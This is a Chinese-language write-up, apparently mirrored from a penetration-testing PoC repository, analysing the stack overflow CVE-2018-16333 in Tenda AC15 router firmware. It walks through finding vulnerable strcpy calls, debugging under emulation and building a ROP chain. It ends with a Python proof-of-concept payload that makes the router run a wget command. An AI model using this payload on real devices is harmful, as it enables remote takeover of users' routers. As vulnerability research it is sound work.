mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2026-10-24 17:04:31 +00:00
574 lines
15 KiB
Markdown
574 lines
15 KiB
Markdown
# Tenda AC15 CVE-2018-16333漏洞分析
|
||||
|
|
> 屁屁
|
|||
|
|
> 来源:https://www.iotsec-zone.com/article/120
|
|||
|
|
|
|||
|
|
# Tenda AC15 CVE-2018-16333漏洞分析
|
|||
|
|
|
|||
|
|
[TOC]
|
|||
|
|
|
|||
|
|
## 一、固件分析
|
|||
|
|
|
|||
|
|
查看上文中2.3处emba跑出的结果,检索`httpd`相关。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
危险函数有`strcpy`、`printf`、`strcat`、`fprint`、`system`等。
|
|||
|
|
|
|||
|
|
## 二、漏洞分析
|
|||
|
|
|
|||
|
|
使用IDA分析`httpd`。
|
|||
|
|
|
|||
|
|
### 2.1、strcpy
|
|||
|
|
|
|||
|
|
#### 2.1.1、关键词搜索
|
|||
|
|
|
|||
|
|
搜索一下`strcpy`,一共184处匹配。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
首先还是寻找与`goahead`接口相关的函数,只有那些API接口会存在直接可控用户输入从而更有可能引发漏洞。
|
|||
|
|
|
|||
|
|
#### 2.1.2、危险函数筛选
|
|||
|
|
|
|||
|
|
结果如下
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
formAdvGetLanIp
|
|||
|
|
formGetOnlineList
|
|||
|
|
formGetPPTPServer
|
|||
|
|
formGetParentCtrlList
|
|||
|
|
formGetPortStatus
|
|||
|
|
formGetQosBand
|
|||
|
|
formGetSystemStatus
|
|||
|
|
formSetFirewallCfg
|
|||
|
|
formSetPPTPUserList
|
|||
|
|
formWifiApScan
|
|||
|
|
formWifiBasicSet
|
|||
|
|
form_fast_setting_wifi_set
|
|||
|
|
fromDhcpListClient
|
|||
|
|
fromGetIpMacBind
|
|||
|
|
fromGetSysTime
|
|||
|
|
fromGetWirelessRepeat
|
|||
|
|
fromGetWrlStatus
|
|||
|
|
fromSetIpMacBind
|
|||
|
|
fromSetSysTime
|
|||
|
|
fromSetWirelessRepeat
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
仅有20个API接口函数与`strcpy`有关。
|
|||
|
|
|
|||
|
|
一个个跟进查看。
|
|||
|
|
|
|||
|
|
一些API接口函数(如:` formAdvGetLanIp`),其`strcpy`函数中不存在可控变量,在第二次筛选中就可以排除了。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
最后剩下如下危险接口
|
|||
|
|
|
|||
|
|
`form_fast_setting_wifi_set`
|
|||
|
|
|
|||
|
|
```c
|
|||
|
|
int __fastcall form_fast_setting_wifi_set(int a1)
|
|||
|
|
{
|
|||
|
|
src = (char *)sub_2BA8C(a1, "ssid", &unk_E378C);
|
|||
|
|
if ( *src )
|
|||
|
|
{
|
|||
|
|
strcpy(s, src);
|
|||
|
|
strcpy(dest, src);
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
`formSetFirewallCfg`
|
|||
|
|
|
|||
|
|
```c
|
|||
|
|
int __fastcall formSetFirewallCfg(int a1)
|
|||
|
|
{
|
|||
|
|
src = (char *)sub_2BA8C(a1, "firewallEn", "1111");
|
|||
|
|
v1 = (char *)strlen(src);
|
|||
|
|
if ( (unsigned int)v1 > 3 )
|
|||
|
|
{
|
|||
|
|
strcpy(dest, src);
|
|||
|
|
GetValue("security.ddos.map", s);
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
`formWifiBasicSet`
|
|||
|
|
|
|||
|
|
```c
|
|||
|
|
int __fastcall formWifiBasicSet(int a1)
|
|||
|
|
{
|
|||
|
|
src = (char *)sub_2BA8C(a1, "security_5g", "none");
|
|||
|
|
strcpy(dest, src);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
`fromDhcpListClient`
|
|||
|
|
|
|||
|
|
```c
|
|||
|
|
int __fastcall fromDhcpListClient(int a1)
|
|||
|
|
{
|
|||
|
|
v10 = sub_2BA8C(a1, v5, &unk_EE388);
|
|||
|
|
if ( !v10 || !*(_BYTE *)v10 )
|
|||
|
|
break;
|
|||
|
|
strcpy(dest, (const char *)(v10 + 1));
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
`fromSetIpMacBind`
|
|||
|
|
|
|||
|
|
```c
|
|||
|
|
int __fastcall fromSetIpMacBind(int a1)
|
|||
|
|
{
|
|||
|
|
v22 = (char *)sub_2BA8C(a1, "list", &unk_EE388);
|
|||
|
|
if ( v1 >= 0 && v19 <= 32 )
|
|||
|
|
{
|
|||
|
|
src = v22;
|
|||
|
|
for ( i = 1; src && i <= v19; ++i )
|
|||
|
|
{
|
|||
|
|
v18 = strchr(src, 10);
|
|||
|
|
if ( v18 )
|
|||
|
|
{
|
|||
|
|
*v18 = 0;
|
|||
|
|
strcpy(dest, src);
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
`fromSetSysTime`
|
|||
|
|
|
|||
|
|
```c
|
|||
|
|
int __fastcall fromSetSysTime(int a1)
|
|||
|
|
{
|
|||
|
|
src = (char *)sub_2BA8C(a1, "ntpServer", "time.windows.com");
|
|||
|
|
SetValue("sys.timesyn", "1");
|
|||
|
|
SetValue("sys.timemode", "auto");
|
|||
|
|
SetValue("sys.timezone", v23);
|
|||
|
|
SetValue("sys.timenextzone", "0");
|
|||
|
|
SetValue("sys.timefixper", v22);
|
|||
|
|
v1 = SetValue("sys.timentpserver", src);
|
|||
|
|
if ( CommitCfm(v1) )
|
|||
|
|
{
|
|||
|
|
GetValue("sys.timesyn", nptr);
|
|||
|
|
if ( atoi(nptr) == 1 )
|
|||
|
|
{
|
|||
|
|
v16[0] = atoi(nptr);
|
|||
|
|
v16[1] = atoi(v23);
|
|||
|
|
v16[2] = atoi(v22);
|
|||
|
|
strcpy((char *)&v16[3], src);
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
`fromSetWirelessRepeat`
|
|||
|
|
|
|||
|
|
```c
|
|||
|
|
int __fastcall fromSetWirelessRepeat(int a1)
|
|||
|
|
{
|
|||
|
|
src = (char *)sub_2BA8C(a1, "wpapsk_crypto", "aes");
|
|||
|
|
v41 = (char *)sub_2BA8C(a1, "wpapsk_key", &unk_EFE58);
|
|||
|
|
if ( !*v41 && strlen(v41) <= 7 )
|
|||
|
|
{
|
|||
|
|
v59 = 1;
|
|||
|
|
goto LABEL_121;
|
|||
|
|
}
|
|||
|
|
if ( !strcmp(v43, "wpa") )
|
|||
|
|
{
|
|||
|
|
strcpy(v15, "psk");
|
|||
|
|
}
|
|||
|
|
else if ( !strcmp(v43, "wpa2") )
|
|||
|
|
{
|
|||
|
|
strcpy(v15, "psk2");
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
strcpy(v15, "psk psk2");
|
|||
|
|
}
|
|||
|
|
if ( !strcmp(src, "tkip&aes") )
|
|||
|
|
strcpy(v14, "tkip+aes");
|
|||
|
|
else
|
|||
|
|
strcpy(v14, src);
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
#### 2.1.3、分析与调试
|
|||
|
|
|
|||
|
|
##### 2.1.3.1、前期准备
|
|||
|
|
|
|||
|
|
由于是对二进制代码进行分析、调试,因此需要`系统模式运行qemu`、`gdbserver`、`ida pro或者gdb-multiarch`
|
|||
|
|
|
|||
|
|
使用[Tenda AC15 CVE-2020-10987漏洞分析](https://www.iotsec-zone.com/article?id=119)中的方法启动系统模式的qemu。
|
|||
|
|
|
|||
|
|
下载gdbserver。
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
cd squashfs-root
|
|||
|
|
wget http://10.10.10.2:8000/gdbservrmhf-eabi5-v1-sysv
|
|||
|
|
mv gdbserver-7.7.1-armhf-eabi5-v1-sver gdbserver
|
|||
|
|
chmod 777 gdbserver
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
###### a、使用ida pro调试
|
|||
|
|
|
|||
|
|
启动httpd
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
进入虚拟机检查一下
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
启动成功。
|
|||
|
|
|
|||
|
|
由于M1芯片的`vmware fusion`实在很难用,因此传个代理进虚拟机然后继续用ssh操作。
|
|||
|
|
|
|||
|
|
上传`frpc`和`frpc.ini`,配置如下
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
启动`frps`和`frpc`
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
连接`127.0.0.1:20022`
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
查找`httpd`进程
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
使用gdbserver挂载,并修改frpc.ini,将8866端口也映射出来
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
./gdbserver :8866 --attach 2381
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
ida远程调试,报错
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
使用端口映射的方式进行调试,会出现一些问题,因此只映射`80`和`22`,采用`gdb-multiarch`进行调试,仍然报错。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
猜测是apple M1芯片的问题,arm架构很有问题,因此使用远端VPS作为模拟qemu系统。
|
|||
|
|
|
|||
|
|
网络架构如图。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
在VPS中开启`frps`和`frpc`。
|
|||
|
|
|
|||
|
|
配置如下:
|
|||
|
|
|
|||
|
|
```ini
|
|||
|
|
frps.ini
|
|||
|
|
[common]
|
|||
|
|
bind_port = 7000
|
|||
|
|
|
|||
|
|
frpc.ini
|
|||
|
|
[common]
|
|||
|
|
server_addr = 10.10.10.2
|
|||
|
|
server_port = 7000
|
|||
|
|
|
|||
|
|
[qemu-ssh]
|
|||
|
|
type = tcp
|
|||
|
|
local_ip = 10.10.10.3
|
|||
|
|
local_port = 22
|
|||
|
|
remote_port = 20022
|
|||
|
|
|
|||
|
|
[qemu-web]
|
|||
|
|
type = tcp
|
|||
|
|
local_ip = 10.10.10.3
|
|||
|
|
local_port = 80
|
|||
|
|
remote_port = 20080
|
|||
|
|
|
|||
|
|
[qemu-gdb]
|
|||
|
|
type = tcp
|
|||
|
|
local_ip = 10.10.10.3
|
|||
|
|
local_port = 28866
|
|||
|
|
remote_port = 28866
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
在本机和VPS中开启TCP通道,并做正向转发。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
在mac下的windows虚拟机(因为没有Mac m1版的ida pro)中开启admin端
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
admin.exe -l 9999
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
在mac开启agent端
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
agent -c 10.211.55.3:9999
|
|||
|
|
2022/03/29 20:44:54 Node starting......
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
将mac本地的`127.0.0.1:28866`转发至windows下。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
按照[Tenda AC15 CVE-2020-10987漏洞分析](https://www.iotsec-zone.com/article?id=119)的方法启动qemu,并开启gdbserver。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
调整IDA的GDBServer配置。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
连接web
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
成功进入调试,并成功断点。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
但是,该方法需要三层代理,非常不稳定,网络轻微扰动都会导致调试奔溃,因此建议使用X86/X64位架构的机器直接进行调试,或者在虚拟机中使用`gdb-multiarch`等gdb调试软件。
|
|||
|
|
|
|||
|
|
###### b、使用`gdb-multiarch`调试
|
|||
|
|
|
|||
|
|
使用`gdb-multiarch`挂载进程并设定初始信息。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
set architecture arm
|
|||
|
|
set endian little
|
|||
|
|
set solib-search-path lib/
|
|||
|
|
b 断点位置
|
|||
|
|
target remote 10.10.10.3:8866
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
##### 2.1.3.2、`form_fast_setting_wifi_set`
|
|||
|
|
|
|||
|
|
以`form_fast_setting_wifi_set`为例进行rce漏洞分析。
|
|||
|
|
|
|||
|
|
###### a、漏洞分析
|
|||
|
|
|
|||
|
|
在第一个strcpy和函数入口下断点。
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
set architecture arm
|
|||
|
|
set endian little
|
|||
|
|
set solib-search-path lib/
|
|||
|
|
b form_fast_setting_wifi_set
|
|||
|
|
b *0x0006706C
|
|||
|
|
target remote 10.10.10.3:8866
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
查看前端代码。
|
|||
|
|
|
|||
|
|
```js
|
|||
|
|
//TODO:hack wan connected
|
|||
|
|
//$("#waiting").removeClass("none");
|
|||
|
|
//$("#wifi_setting").addClass("none");
|
|||
|
|
//$("#btn_control").addClass("none");
|
|||
|
|
|
|||
|
|
var dateArry = /([\+\-]\d{2})(\d{2})/.exec((new Date()).toString());
|
|||
|
|
|
|||
|
|
var subObj = {
|
|||
|
|
"ssid": $("#ssid").val(),
|
|||
|
|
"wrlPassword": ($("#hideWrlPwd").prop("checked")) ? "" : wrlPwd,
|
|||
|
|
"power": $("#power").val(),
|
|||
|
|
"timeZone": getTimeZone(),
|
|||
|
|
"loginPwd": ($("#hideLoginPwd").prop("checked")) ? "" : hex_md5(login_pwd)
|
|||
|
|
}
|
|||
|
|
data = objTostring(subObj);
|
|||
|
|
$.getJSON("goform/getWanConnectStatus?" + Math.random(), function (obj) {
|
|||
|
|
G.wanStatus = obj.connectStatus;
|
|||
|
|
$.post("goform/fast_setting_wifi_set", data, handWifi);
|
|||
|
|
})
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
可见data中传递的是一组由json对象转换而成的字符串变量,主要有如下几个参数"ssid"、"wrlPassword"、"power"、"timeZone"、"loginPwd"。
|
|||
|
|
|
|||
|
|
查看后端处理代码。
|
|||
|
|
|
|||
|
|
```c
|
|||
|
|
src = (char *)sub_2BA8C(a1, "ssid", &unk_E378C);
|
|||
|
|
if ( *src )
|
|||
|
|
{
|
|||
|
|
strcpy(s, src);
|
|||
|
|
strcpy(dest, src);
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
因此,实际上我们只需要控制"ssid"的值即可,至于`sub_2BA8C`
|
|||
|
|
|
|||
|
|
```c
|
|||
|
|
void *__fastcall sub_2BA8C(int a1, int a2, int a3)
|
|||
|
|
{
|
|||
|
|
int v6; // [sp+14h] [bp-10h]
|
|||
|
|
|
|||
|
|
v6 = sub_1FBF4(*(_DWORD *)(a1 + 32), a2);
|
|||
|
|
if ( !v6 )
|
|||
|
|
return (void *)a3;
|
|||
|
|
if ( (*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18) )
|
|||
|
|
return (void *)((*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18));
|
|||
|
|
return &unk_DC1C4;
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
光读代码还是比较麻烦,可以在调试过程中进行猜测其功能。
|
|||
|
|
|
|||
|
|
下断点,开始调试,停在`SIGPIPE`异常,使用`handle SIGPIPE nostop print`忽略该问题。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
下五个断点,分别在`00066EE0`、`0x00067078`、 `0x0006707C`、`0x0006708C`、`0x00067090`。
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
b *0x00066EE0
|
|||
|
|
b *0x00067078
|
|||
|
|
b *0x0006707C
|
|||
|
|
b *0x0006708C
|
|||
|
|
b *0x00067090
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
发送ssid
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
断点停在函数开始处。
|
|||
|
|
|
|||
|
|
```assembly
|
|||
|
|
.text:00066EE0 PUSH {R4,R5,R11,LR}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
函数在开始时,将需要的参数及函数的return地址押入栈中。
|
|||
|
|
|
|||
|
|
`LR`存放函数的返回地址,为`0x171c8`。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
继续单步运行,到`0x0006707c `处,查看寄存器。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
存放输入数据的寄存器r1、r3内存放的是一个指向ssid值的指针,值为`0x898ed0`。
|
|||
|
|
|
|||
|
|
查看内存空间。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
绿色框为存放`src`值的`s`分配的内存空间,具体可见代码
|
|||
|
|
|
|||
|
|
```assembly
|
|||
|
|
char s[64]; // [sp+200h] [bp-7Ch] BYREF
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
红色框为存放src值的地址。
|
|||
|
|
|
|||
|
|
蓝色框为函数的返回地址,我们需要将该地址覆盖掉。
|
|||
|
|
|
|||
|
|
继续运行至第二个strcpy,也就是`0x00067090`处
|
|||
|
|
|
|||
|
|
可以发现第二次strcpy也是从同样的地址取src的值。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
查看内存
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
橘黄色框中为dest的变量空间。
|
|||
|
|
|
|||
|
|
那么这样就会出先一个问题。
|
|||
|
|
|
|||
|
|
如果直接将返回值`0x000171c8`覆盖,那么也会同时覆盖掉`0x00898ed0`这个值,那么在第二次strcpy的时候,就有可能会因为找不到src的值而报错,
|
|||
|
|
|
|||
|
|
所以需要在覆盖`0x00898ed0`时选择一个可以读到的地址覆盖他,这样就不会报错了。
|
|||
|
|
|
|||
|
|
###### b、构造rop链
|
|||
|
|
|
|||
|
|
首先搜一下system这个函数的用法。
|
|||
|
|
|
|||
|
|
```assembly
|
|||
|
|
.text:0004F8E4 ADD R3, R4, R3 ; "killall -9 telnetd"
|
|||
|
|
.text:0004F8E8 MOV R0, R3 ; command
|
|||
|
|
.text:0004F8EC BL system
|
|||
|
|
.text:0004F8F0 SUB R3, R11, #-var_12C
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
如图可见,system这个函数,只需要一个寄存器。
|
|||
|
|
|
|||
|
|
因此,我们去`libc.so.0`中找一个`system`函数。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
system函数使用r3寄存器调用库函数里的system,使用r0寄存器来存放命令参数。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
因此,我们需要在libc中搜索一个"pop r3"的出栈操作和一个"mov r0,"的操作。
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
python3 ../../../../tools/ROPgadget/ROPgadget.py --binary ./lib/libc.so.0 --only "pop" | grep r3
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
发现一个`POP {r3,pc}`。
|
|||
|
|
|
|||
|
|
总所周知,SP是存放站顶指针,指向下一个出栈的位置,那么如果能找到一个mov r0,SP,就可以轻松构造如下栈空间。
|
|||
|
|
|
|||
|
|
| *(POP {r3,pc}) |
|
|||
|
|
| -------------------- |
|
|||
|
|
| *(ldr r3,system) |
|
|||
|
|
| *(mov r0,SP,ldr r3) |
|
|||
|
|
| "Command" |
|
|||
|
|
|
|||
|
|
当命令执行到`*(mov r0,sp,ldr r3)`处时,sp指向“command”,又将sp赋值给r0,rop链就可以达成了。
|
|||
|
|
|
|||
|
|
因此我们再搜索一个mov r0,sp,blx/bl r3,
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
python3 ../../../../tools/ROPgadget/ROPgadget.py --binary ./lib/libc.so.0 | grep "mov r0, sp" > 1,txt
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
查看1,txt
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
找到了
|
|||
|
|
|
|||
|
|
```assembly
|
|||
|
|
0x00040cb8 : mov r0, sp ; blx r3
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
###### c、poc
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
#!/usr/bin/python3
|
|||
|
|
|
|||
|
|
import requests
|
|||
|
|
from pwn import *
|
|||
|
|
|
|||
|
|
cmd = b'wget http://10.10.10.2:8899'
|
|||
|
|
libc_base = 0x76d79000
|
|||
|
|
system = libc_base + 0x5A270
|
|||
|
|
readable_addr = libc_base + 0x64144
|
|||
|
|
mov_r0_ret_r3 = libc_base + 0x40cb8
|
|||
|
|
pop_r3 = libc_base + 0x18298
|
|||
|
|
payload = b'a'*(0x60) + p32(readable_addr) + b'b'*(0x20-8)
|
|||
|
|
payload += p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
|
|||
|
|
|
|||
|
|
print(payload)
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
### 三、小结
|
|||
|
|
|
|||
|
|
- Tenda AC15的还存在其他RCE漏洞点,接下来的文章会继续分析
|
|||
|
|
- 近期不建议使用Macbook M1进行IoT漏洞的模拟、分析
|